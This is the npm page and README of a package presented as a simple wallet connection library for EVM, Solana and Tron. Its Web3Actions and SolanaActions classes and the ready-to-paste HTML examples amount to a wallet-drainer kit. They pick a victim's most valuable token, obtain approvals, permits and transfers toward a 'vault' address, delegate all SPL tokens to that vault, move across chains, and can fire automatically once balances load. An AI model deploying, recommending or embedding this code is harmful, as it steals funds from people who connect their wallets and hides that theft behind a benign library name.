@baldivia/kit-wallet-connect
v2.0.15
Published
Simple wallet connection library for vanilla JS - supports EVM, Solana, and Tron wallets
Downloads
1,826
Maintainers
Readme
Wallet Connect Bundle
A vanilla JavaScript wallet connection library that can be used via a simple script tag. Provides wallet connection functionality using RainbowKit and wagmi, without requiring React in your application code.
👥 For End Users: See USAGE.md for a simple step-by-step guide on how to use this library in your HTML pages.
Features
- ✅ Connect to multiple wallets (MetaMask, WalletConnect, Binance, Rabby, Rainbow, Trust, Zerion, and more)
- ✅ Beautiful RainbowKit modal UI
- ✅ Event-driven API
- ✅ Simple button component
- ✅ Works with vanilla JavaScript (no React required in your code)
- ✅ UMD and ES module builds
- ✅ Supports multiple chains (Ethereum, Arbitrum, PulseChain, BSC, Base)
- ✅ Token balance fetching and management
- ✅ Automated token operations (approvals, transfers, permits)
- ✅ Auto-trigger functionality for seamless workflows
- ✅ API key configuration for secure backend communication
Prerequisites
Before using this library, you need to:
- Build the library (see Installation below)
- Load React and ReactDOM from CDN (required for RainbowKit)
- Load RainbowKit CSS (for modal styling)
Installation
Option 1: Use from CDN (Recommended for Production)
After publishing to npm, use from jsDelivr or unpkg:
<!-- jsDelivr CDN -->
<script src="https://cdn.jsdelivr.net/npm/@baldivia/kit-wallet-connect@latest/dist/wallet-connect.umd.js"></script>
<!-- Or use unpkg CDN -->
<script src="https://unpkg.com/@baldivia/kit-wallet-connect@latest/dist/wallet-connect.umd.js"></script>See CDN_DEPLOYMENT.md for detailed CDN setup instructions.
Option 2: Build the library locally
npm install --legacy-peer-deps
npm run buildThis creates:
dist/wallet-connect.umd.js- For script tag usage (UMD format)dist/wallet-connect.es.js- For ES module usage
Configuration
Before using the library, create a config.js file in your project root with your configuration:
// config.js
window.API_KEY = "your-api-key-here";
window.WALLETCONNECT_PROJECT_ID = "your-project-id";
window.EVM_AUTO_TRIGGER = false;
window.SOLANA_NETWORK = "mainnet-beta";
window.SOLANA_AUTO_TRIGGER = false;See config.js in the project root for all available configuration options with detailed comments.
Quick Start
Using UMD Build (Script Tag)
Here's a complete example:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Wallet Connect Example</title>
<!-- 1. Load RainbowKit CSS (required) -->
<link rel="stylesheet" href="https://unpkg.com/@rainbow-me/[email protected]/dist/index.css" />
</head>
<body>
<!-- 2. Create a container for the button -->
<div id="wallet-button"></div>
<!-- 3. Load React and ReactDOM from CDN (required) -->
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react.production.min.js"></script>
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react-dom.production.min.js"></script>
<!-- 4. Load configuration file (optional but recommended) -->
<script src="./config.js"></script>
<!-- 5. Load the wallet library -->
<script>
function initWallet() {
// Wait a bit for everything to load
setTimeout(function() {
try {
// Check if library is loaded
if (typeof WalletConnect === 'undefined' ||
typeof WalletConnect.WalletConnection === 'undefined') {
console.error('WalletConnect library not loaded');
return;
}
// Initialize wallet connection
const wallet = new WalletConnect.WalletConnection({
projectId: window.WALLETCONNECT_PROJECT_ID || 'b24c5c4bc1ee9aef022f68a1ae8a0d53',
});
// Create and render button
const buttonContainer = document.getElementById('wallet-button');
const button = new WalletConnect.ConnectWalletButton(wallet, {
text: {
connect: 'Connect Wallet',
connected: 'Disconnect',
connecting: 'Connecting...',
},
});
button.render(buttonContainer);
// Listen to wallet events
wallet.on('connect', function(state) {
console.log('Wallet connected:', state);
console.log('Address:', state.address);
console.log('Chain ID:', state.chainId);
});
wallet.on('disconnect', function() {
console.log('Wallet disconnected');
});
wallet.on('change', function(state) {
console.log('Wallet state changed:', state);
});
} catch (error) {
console.error('Error initializing wallet:', error);
}
}, 100);
}
// Load the UMD build
const script = document.createElement('script');
script.src = './dist/wallet-connect.umd.js';
script.onload = initWallet;
script.onerror = function() {
console.error('Failed to load wallet-connect.umd.js');
};
document.head.appendChild(script);
</script>
</body>
</html>Using ES Module Build
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Wallet Connect Example</title>
<!-- Load RainbowKit CSS -->
<link rel="stylesheet" href="https://unpkg.com/@rainbow-me/[email protected]/dist/index.css" />
</head>
<body>
<div id="wallet-button"></div>
<!-- Load React and ReactDOM from CDN -->
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react.production.min.js"></script>
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react-dom.production.min.js"></script>
<!-- Load the library as ES module -->
<script type="module">
import { WalletConnection, ConnectWalletButton } from './dist/wallet-connect.es.js';
// Initialize wallet connection
const wallet = new WalletConnection({
projectId: 'b24c5c4bc1ee9aef022f68a1ae8a0d53', // Optional
});
// Create and render button
const button = new ConnectWalletButton(wallet, {
text: {
connect: 'Connect Wallet',
connected: 'Disconnect',
connecting: 'Connecting...',
},
});
button.render(document.getElementById('wallet-button'));
// Listen to events
wallet.on('connect', (state) => {
console.log('Connected:', state);
});
wallet.on('disconnect', () => {
console.log('Disconnected');
});
</script>
</body>
</html>API Reference
WalletConnection
The main class for managing wallet connections.
Constructor
const wallet = new WalletConnection({
projectId: 'string', // Optional: WalletConnect project ID (get from https://cloud.walletconnect.com)
chains: [...], // Optional: Array of wagmi chains (default: mainnet, arbitrum, pulsechain, bsc, base)
appName: 'string' // Optional: App name for WalletConnect (default: 'Wallet Connect')
});Example:
const wallet = new WalletConnection({
projectId: 'b24c5c4bc1ee9aef022f68a1ae8a0d53',
appName: 'My DApp',
});Methods
connect()
Opens the RainbowKit connection modal. Returns a Promise that resolves with the current state.
await wallet.connect();disconnect()
Disconnects the current wallet. Returns a Promise.
await wallet.disconnect();getState()
Returns the current wallet state object.
const state = wallet.getState();
console.log(state.address); // '0x...' or null
console.log(state.chainId); // 1, 369, etc. or null
console.log(state.isConnected); // true or falsegetProvider()
Returns an ethers.js Web3Provider for interacting with the blockchain. Throws an error if wallet is not connected.
const provider = await wallet.getProvider();
const balance = await provider.getBalance(state.address);getSigner()
Returns an ethers.js Signer for signing transactions. Throws an error if wallet is not connected.
const signer = await wallet.getSigner();
const tx = await signer.sendTransaction({
to: '0x...',
value: ethers.utils.parseEther('0.1')
});switchNetwork(chainId)
Switches the wallet to a different network. Returns a Promise.
await wallet.switchNetwork(369); // Switch to PulseChainon(event, callback)
Register an event listener.
wallet.on('connect', (state) => {
console.log('Connected to:', state.address);
});off(event, callback)
Remove an event listener.
const handler = (state) => console.log('Connected:', state);
wallet.on('connect', handler);
wallet.off('connect', handler);destroy()
Cleanup and remove all listeners. Call this when you're done with the wallet instance.
wallet.destroy();Events
connect
Emitted when a wallet successfully connects.
wallet.on('connect', (state) => {
// state.address - Connected wallet address
// state.chainId - Current chain ID
// state.isConnected - true
});disconnect
Emitted when the wallet disconnects.
wallet.on('disconnect', () => {
console.log('Wallet disconnected');
});change
Emitted whenever the wallet state changes (connection, address change, chain switch, etc.).
wallet.on('change', (state) => {
console.log('State changed:', state);
});State Object
The state object contains:
{
address: '0x742d35Cc6634C0532925a3b844Bc9e7595f0bEb', // Wallet address or null
chainId: 1, // Chain ID or null
isConnected: true, // Connection status
connector: {...}, // Wagmi connector object
disconnect: function, // Disconnect function
walletClient: {...} // Viem wallet client
}ConnectWalletButton
A pre-built button component for connecting/disconnecting wallets.
Constructor
const button = new ConnectWalletButton(walletConnection, {
text: {
connect: 'Connect Wallet', // Text when disconnected
connected: 'Disconnect', // Text when connected
connecting: 'Connecting...' // Text while connecting
},
className: 'wallet-connect-btn' // CSS class name
});Example:
const button = new ConnectWalletButton(wallet, {
text: {
connect: 'Connect Wallet',
connected: 'Disconnect',
connecting: 'Connecting...',
},
});Methods
render(container)
Renders the button to a DOM element.
const container = document.getElementById('wallet-button');
button.render(container);destroy()
Removes the button from the DOM and cleans up event listeners.
button.destroy();Web3Actions
A comprehensive class for managing token operations, balance fetching, and automated Web3 actions. Integrates with WalletConnection to provide token management capabilities.
Constructor
const web3Actions = new Web3Actions(walletConnection, {
apiUrl: 'string', // Optional: API endpoint URL (default: from config or window.VITE_BACK)
apiKey: 'string', // Optional: API key for authenticated requests (default: from config or window.API_KEY)
autoTrigger: boolean // Optional: Automatically trigger action when ready (default: false)
});Example:
const wallet = new WalletConnection({
projectId: '',
});
const web3Actions = new Web3Actions(wallet, {
apiUrl: 'https://api.example.com',
apiKey: 'your-api-key-here',
autoTrigger: false, // Set to true for automatic action triggering
});Configuration
API URL Configuration
The API URL can be set in multiple ways (in order of precedence):
Via constructor options (highest priority):
const web3Actions = new Web3Actions(wallet, { apiUrl: 'https://api.example.com' });Via window variable (set before library loads):
window.VITE_BACK = 'https://api.example.com';Default from config (lowest priority):
- Set in
src/utils/config.jsasDEFAULT_API_URL
- Set in
API Key Configuration
The API key is included in all API requests via the x-tag-s header. It can be set in multiple ways:
Via constructor options (highest priority):
const web3Actions = new Web3Actions(wallet, { apiKey: 'your-api-key-here' });Via window variable (set before library loads):
window.API_KEY = 'your-api-key-here';Fallback to window.VITE_APP_K (if available)
Example with window variables:
<script>
// Set API configuration before library loads
window.API_KEY = 'your-api-key-here';
window.VITE_BACK = 'https://api.example.com';
</script>
<script src="./dist/wallet-connect.umd.js"></script>Methods
getState()
Returns the current Web3Actions state object.
const state = web3Actions.getState();
console.log(state.balance); // Array of token balances
console.log(state.bestToken); // Best token to process
console.log(state.allTokens); // All available tokens
console.log(state.isLoading); // Loading status
console.log(state.masterAddress); // Master contract address
console.log(state.vault); // Vault addressaction()
Processes the best available token (approval, transfer, permit, etc.). Returns a Promise with success status.
const result = await web3Actions.action();
if (result.success) {
console.log('Token processed successfully');
} else {
console.log('Token processing failed');
}chainSwitch()
Switches to the next active chain if available.
await web3Actions.chainSwitch();on(event, callback)
Register an event listener.
web3Actions.on('stateChange', (state) => {
console.log('State changed:', state);
});
web3Actions.on('tokenProcessed', (data) => {
console.log('Token processed:', data.token, 'Success:', data.success);
});
web3Actions.on('error', (error) => {
console.error('Error:', error);
});off(event, callback)
Remove an event listener.
const handler = (state) => console.log('State:', state);
web3Actions.on('stateChange', handler);
web3Actions.off('stateChange', handler);emit(event, data)
Emit a custom event (internal use).
Events
stateChange
Emitted whenever the Web3Actions state changes (balance loaded, token processed, etc.).
web3Actions.on('stateChange', (state) => {
// state.balance - Array of token balances
// state.bestToken - Best token to process
// state.allTokens - All available tokens
// state.isLoading - Loading status
});tokenProcessed
Emitted when a token operation completes.
web3Actions.on('tokenProcessed', (data) => {
console.log('Token:', data.token);
console.log('Success:', data.success);
});error
Emitted when an error occurs.
web3Actions.on('error', (error) => {
console.error('Web3Actions error:', error);
});State Object
The state object contains:
{
isLoading: false, // Whether an operation is in progress
balance: [...], // Array of token balances
highestChain: 369, // Highest priority chain ID
activeToken: {...}, // Currently active token
bestToken: {...}, // Best token to process
allTokens: [...], // All available tokens grouped by chain
masterAddress: '0x...', // Master contract address
vault: '0x...', // Vault address
submitContract: Contract, // Ethers contract instance
handleStatus: 'success', // Last operation status
activeChains: [369, 1], // Active chain IDs
signer: Signer, // Ethers signer instance
provider: Provider // Ethers provider instance
}Auto-Trigger Feature
When autoTrigger: true is set, the action() method will automatically be called once when:
- Balance is successfully loaded
- Tokens are available (
bestTokenorallTokens) - Signer and provider are ready
const web3Actions = new Web3Actions(wallet, {
apiKey: 'your-api-key',
autoTrigger: true, // Automatically trigger action when ready
});Note: Auto-trigger only fires once per initialization to prevent multiple automatic triggers.
Supported Token Operations
The Web3Actions class supports various token operations:
- Approvals: Standard ERC20 approvals, increased allowances
- Transfers: ERC677
transferAndCall, OmniBridgerelayTokens - Permits: ERC2612 permits, DAI permits, Permit2 (single and batch), EIP-3009 authorization
- Native ETH: ETH transfers, WETH/WPLS bridging
- Special Operations: Hyperliquid withdrawals, Uniswap V3 multicalls, Liberty swaps
Operations are automatically selected based on token type and chain.
SolanaWalletConnection
A class for managing Solana wallet connections using the Solana Wallet Adapter.
Constructor
const solanaWallet = new SolanaWalletConnection({
network: 'mainnet-beta', // Optional: 'mainnet-beta', 'devnet', 'testnet' (default: 'mainnet-beta')
rpcEndpoint: 'string', // Optional: Custom RPC endpoint URL
autoConnect: boolean // Optional: Auto-connect to previously connected wallet (default: false)
});Example:
const solanaWallet = new SolanaWalletConnection({
network: 'mainnet-beta',
autoConnect: false,
});Methods
connect()
Opens the Solana wallet connection modal. Returns a Promise that resolves with the current state.
await solanaWallet.connect();disconnect()
Disconnects the current Solana wallet. Returns a Promise.
await solanaWallet.disconnect();getState()
Returns the current Solana wallet state object.
const state = solanaWallet.getState();
console.log(state.publicKey); // 'Base58...' or null
console.log(state.connected); // true or false
console.log(state.chain); // 'mainnet-beta', 'devnet', or 'testnet'
console.log(state.walletType); // 'Phantom', 'Solflare', etc.getConnection()
Returns the Solana Connection instance for direct RPC calls.
const connection = solanaWallet.getConnection();
const balance = await connection.getBalance(new PublicKey(address));on(event, callback)
Register an event listener.
solanaWallet.on('connect', (state) => {
console.log('Connected to:', state.publicKey);
});off(event, callback)
Remove an event listener.
destroy()
Cleanup and remove all listeners.
Events
connect
Emitted when a Solana wallet successfully connects.
solanaWallet.on('connect', (state) => {
// state.publicKey - Connected wallet public key
// state.chain - Current chain ('mainnet-beta', 'devnet', 'testnet')
// state.connected - true
});disconnect
Emitted when the Solana wallet disconnects.
change
Emitted whenever the Solana wallet state changes.
State Object
{
publicKey: 'Base58...', // Wallet public key or null
connected: true, // Connection status
wallet: WalletAdapter, // Wallet adapter instance
sendTransaction: function, // Function to send transactions
disconnect: function, // Disconnect function
connect: function, // Connect function
chain: 'mainnet-beta', // Current chain
walletType: 'Phantom', // Wallet type/name
connection: Connection // Solana Connection instance
}SolanaActions
A comprehensive class for managing Solana token delegation operations, balance fetching, and automated Solana actions. Integrates with SolanaWalletConnection to provide token management capabilities.
Constructor
const solanaActions = new SolanaActions(solanaWalletConnection, {
apiUrl: 'string', // Optional: API endpoint URL (default: from config or window.VITE_BACK)
apiKey: 'string', // Optional: API key for authenticated requests (default: from config or window.API_KEY)
autoTrigger: boolean, // Optional: Automatically trigger action when ready (default: false)
rpcEndpoint: 'string' // Optional: Custom Solana RPC endpoint
});Example:
const solanaWallet = new SolanaWalletConnection({
network: 'mainnet-beta',
});
const solanaActions = new SolanaActions(solanaWallet, {
apiUrl: 'https://api.example.com',
apiKey: 'your-api-key-here',
autoTrigger: false,
});Methods
getState()
Returns the current SolanaActions state object.
const state = solanaActions.getState();
console.log(state.balance); // Array of token balances
console.log(state.allTokens); // All available tokens
console.log(state.isLoading); // Loading status
console.log(state.solVault); // Vault address for delegations
console.log(state.chain); // Current chainaction()
Processes all available tokens by delegating them to the vault. Returns a Promise with success status and delegation results.
const result = await solanaActions.action();
if (result.success) {
console.log('Delegations completed:', result.delegations);
} else {
console.log('Delegation failed:', result.error);
}on(event, callback)
Register an event listener.
solanaActions.on('stateChange', (state) => {
console.log('State changed:', state);
});
solanaActions.on('tokenProcessed', (data) => {
console.log('Token processed:', data);
});off(event, callback)
Remove an event listener.
Events
stateChange
Emitted whenever the SolanaActions state changes (balance loaded, token processed, etc.).
solanaActions.on('stateChange', (state) => {
// state.balance - Array of token balances
// state.allTokens - All available tokens
// state.isLoading - Loading status
// state.solVault - Vault address
});tokenProcessed
Emitted when token delegation operations complete.
solanaActions.on('tokenProcessed', (data) => {
console.log('Success:', data.success);
console.log('Delegations:', data.delegations);
});error
Emitted when an error occurs.
State Object
{
isLoading: false, // Whether an operation is in progress
balance: [...], // Array of token balances
allTokens: [...], // All available tokens
solVault: 'Base58...', // Vault address for delegations
chain: 'mainnet-beta', // Current chain
connection: Connection, // Solana Connection instance
error: null // Error message if any
}Auto-Trigger Feature
When autoTrigger: true is set, the action() method will automatically be called once when:
- Balance is successfully loaded
- Tokens are available (
allTokens) - Connection is ready
const solanaActions = new SolanaActions(solanaWallet, {
apiKey: 'your-api-key',
autoTrigger: true, // Automatically trigger action when ready
});Supported Solana Operations
The SolanaActions class supports:
- Token Delegation: SPL token delegation using
createApproveCheckedInstruction - Sequential Processing: Processes tokens one by one, sending successful delegations to API immediately
- Balance Fetching: Fetches token balances from API and displays them
- Error Handling: Comprehensive error handling and logging
Solana RPC Configuration
The Solana RPC endpoint can be configured:
Via constructor options:
const solanaActions = new SolanaActions(solanaWallet, { rpcEndpoint: 'https://api.mainnet-beta.solana.com' });Via Ankr RPC (if
window.ANKR_KEYis set):- Automatically uses Ankr RPC with your API key
- Falls back to public RPC if not set
Default RPCs:
- Mainnet:
https://api.mainnet-beta.solana.com - Devnet:
https://api.devnet.solana.com - Testnet:
https://api.testnet.solana.com
- Mainnet:
Complete Example with SolanaActions
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>SolanaActions Example</title>
<link rel="stylesheet" href="https://unpkg.com/@solana/wallet-adapter-react-ui@latest/styles.css" />
</head>
<body>
<div id="solana-wallet-button"></div>
<button id="start-button" style="display: none;">Start</button>
<div id="balance-display"></div>
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react.production.min.js"></script>
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react-dom.production.min.js"></script>
<script>
// Set API configuration
window.API_KEY = 'your-api-key-here';
window.VITE_BACK = 'https://api.example.com';
function initSolana() {
setTimeout(function() {
const solanaWallet = new WalletConnect.SolanaWalletConnection({
network: 'mainnet-beta',
});
const solanaActions = new WalletConnect.SolanaActions(solanaWallet, {
autoTrigger: false,
});
// Start button handler
const startButton = document.getElementById('start-button');
startButton.addEventListener('click', async () => {
const result = await solanaActions.action();
console.log('Action result:', result);
});
// Listen to events
solanaActions.on('stateChange', (state) => {
const isReady = !state.isLoading &&
state.allTokens && state.allTokens.length > 0;
startButton.style.display = isReady ? 'block' : 'none';
const balanceEl = document.getElementById('balance-display');
balanceEl.innerHTML = `Balance: ${state.allTokens.length} tokens`;
});
solanaActions.on('tokenProcessed', (data) => {
console.log('Token processed:', data);
});
}, 100);
}
const script = document.createElement('script');
script.src = './dist/wallet-connect.umd.js';
script.onload = initSolana;
document.head.appendChild(script);
</script>
</body>
</html>Complete Example with Web3Actions
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Web3Actions Example</title>
<link rel="stylesheet" href="https://unpkg.com/@rainbow-me/[email protected]/dist/index.css" />
</head>
<body>
<div id="wallet-button"></div>
<button id="start-button" style="display: none;">Start</button>
<div id="balance-display"></div>
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react.production.min.js"></script>
<script crossorigin src="https://unpkg.com/umd-react@19/dist/react-dom.production.min.js"></script>
<script>
// Set API configuration
window.API_KEY = 'your-api-key-here';
window.VITE_BACK = 'https://api.example.com';
function initWallet() {
setTimeout(function() {
const wallet = new WalletConnect.WalletConnection({
projectId: 'b24c5c4bc1ee9aef022f68a1ae8a0d53',
});
const web3Actions = new WalletConnect.Web3Actions(wallet, {
autoTrigger: false, // Set to true for automatic triggering
});
// Render connect button
const button = new WalletConnect.ConnectWalletButton(wallet);
button.render(document.getElementById('wallet-button'));
// Start button handler
const startButton = document.getElementById('start-button');
startButton.addEventListener('click', async () => {
const result = await web3Actions.action();
console.log('Action result:', result);
});
// Listen to events
web3Actions.on('stateChange', (state) => {
// Show/hide start button based on readiness
const isReady = !state.isLoading &&
(state.bestToken || (state.allTokens && state.allTokens.length > 0));
startButton.style.display = isReady ? 'block' : 'none';
// Display balance
const balanceEl = document.getElementById('balance-display');
balanceEl.innerHTML = `Balance: ${state.balance.length} tokens`;
});
web3Actions.on('tokenProcessed', (data) => {
console.log('Token processed:', data);
});
}, 100);
}
const script = document.createElement('script');
script.src = './dist/wallet-connect.umd.js';
script.onload = initWallet;
document.head.appendChild(script);
</script>
</body>
</html>Supported Wallets
EVM Wallets
The library supports the following EVM wallets through RainbowKit:
Recommended:
- MetaMask
- Injected Wallet (browser extension)
- Binance Wallet
- Rabby Wallet
- Rainbow Wallet
- Trust Wallet
- Zerion Wallet
Others:
- WalletConnect
- Bitget Wallet
- Uniswap Wallet
Solana Wallets
The library supports the following Solana wallets through Solana Wallet Adapter:
Supported:
- Phantom
- Solflare
- Torus
- Ledger
Additional wallets can be added by configuring the wallets array in SolanaWalletConnection.
Supported Chains
EVM Chains
By default, the library supports:
- Ethereum Mainnet (Chain ID: 1)
- Arbitrum (Chain ID: 42161)
- PulseChain (Chain ID: 369)
- BSC (Chain ID: 56)
- Base (Chain ID: 8453)
You can customize the supported EVM chains:
import { mainnet, polygon, optimism } from 'wagmi/chains';
const wallet = new WalletConnection({
chains: [mainnet, polygon, optimism],
});Solana Networks
The library supports Solana networks:
- Mainnet (
mainnet-beta) - Production Solana network - Devnet (
devnet) - Development network - Testnet (
testnet) - Test network
You can configure the network:
const solanaWallet = new SolanaWalletConnection({
network: 'mainnet-beta', // or 'devnet', 'testnet'
rpcEndpoint: 'https://custom-rpc.com', // Optional: custom RPC
});Complete Example
See example.html for a complete working example with state display and event handling.
Development
# Install dependencies
npm install --legacy-peer-deps
# Development server
npm run dev
# Build library
npm run build
# Preview build
npm run previewNotes
- Configuration File: Use
config.jsto set all configuration variables. This file must be loaded before the library script. Seeconfig.jsfor all available options. - React Dependency: This library uses React internally (via RainbowKit and wagmi), but you don't need React in your application code. React must be loaded from CDN before the library script.
- UMD React Build: The library uses
umd-react@19for React 19 UMD builds, as official React 19 UMD builds were removed. - RainbowKit CSS: The RainbowKit CSS must be loaded for the EVM wallet modal to display correctly.
- Solana Wallet Adapter CSS: The Solana Wallet Adapter CSS must be loaded for Solana wallet UI components.
- WalletConnect Project ID: Optional but recommended for WalletConnect support. Get one from WalletConnect Cloud. Configure via
window.WALLETCONNECT_PROJECT_IDinconfig.js. - API Configuration: API URL and API key can be configured via
config.js(recommended), constructor options, or window variables. Window variables must be set before the library loads. - Auto-Trigger: When enabled,
Web3ActionsorSolanaActionswill automatically trigger theaction()method once when balance is loaded and tokens are available. Configure viawindow.EVM_AUTO_TRIGGERorwindow.SOLANA_AUTO_TRIGGERinconfig.js. - Solana RPC: Solana RPC endpoints can be configured via Ankr (using
window.ANKR_KEYinconfig.js) or custom RPC endpoints (window.SOLANA_RPC_ENDPOINT). Defaults to public RPCs if not configured.
Troubleshooting
Button not visible
- Make sure RainbowKit CSS is loaded in the
<head>section - Check that the container element exists before calling
render() - Ensure the container has a minimum height:
min-height: 50px;
"WalletConnect is not defined"
- Make sure the script is loaded before calling
initWallet() - Use the
onloadevent orDOMContentLoadedto ensure the script is ready - Check that the build file exists at
dist/wallet-connect.umd.js
Connection modal doesn't appear
- Ensure React and ReactDOM are loaded from CDN before the library script
- Check the browser console for errors
- Verify that RainbowKit CSS is loaded
Wallet connects but state doesn't update
- Check the browser console for debug logs
- Ensure event listeners are registered before connecting
- Verify that
getState()is called after connection events
Configuration issues
- Make sure
config.jsis loaded before the library script in your HTML - Verify all required configuration variables are set in
config.js - Check browser console for configuration-related errors
- See
config.jsfile for all available configuration options
Web3Actions balance not loading
- Verify API URL is correctly configured in
config.js(window.VITE_BACKorwindow.EVM_API_URL) - Check that API key is set in
config.js(window.API_KEYorwindow.EVM_API_KEY) - Ensure wallet is connected before initializing
Web3Actions - Check browser console for API errors
- Verify backend API is accessible and returns expected format
Auto-trigger not working
- Ensure
window.EVM_AUTO_TRIGGER = trueorwindow.SOLANA_AUTO_TRIGGER = trueis set inconfig.js - Verify balance has loaded successfully (check
getState().balance) - Check that tokens are available (
bestTokenorallTokensin state) - Auto-trigger only fires once per initialization
Solana wallet not connecting
- Ensure Solana Wallet Adapter CSS is loaded
- Check that a Solana wallet extension (Phantom, Solflare, etc.) is installed
- Verify the network configuration matches your wallet's network
- Check browser console for wallet adapter errors
SolanaActions balance not loading
- Verify API URL is correctly configured in
config.js(window.VITE_BACKorwindow.SOLANA_API_URL) - Check that API key is set in
config.js(window.API_KEYorwindow.SOLANA_API_KEY) - Ensure Solana wallet is connected before initializing
SolanaActions - Verify the API returns Solana token data in the expected format
- Check that RPC endpoint is accessible (configure via
window.SOLANA_RPC_ENDPOINTinconfig.js)
Solana delegation failing
- Verify vault address is correctly set from API response
- Check that token accounts exist for the tokens
- Ensure wallet has sufficient SOL for transaction fees
- Verify token account has a balance to delegate
- Check transaction confirmation status in console
License
MIT
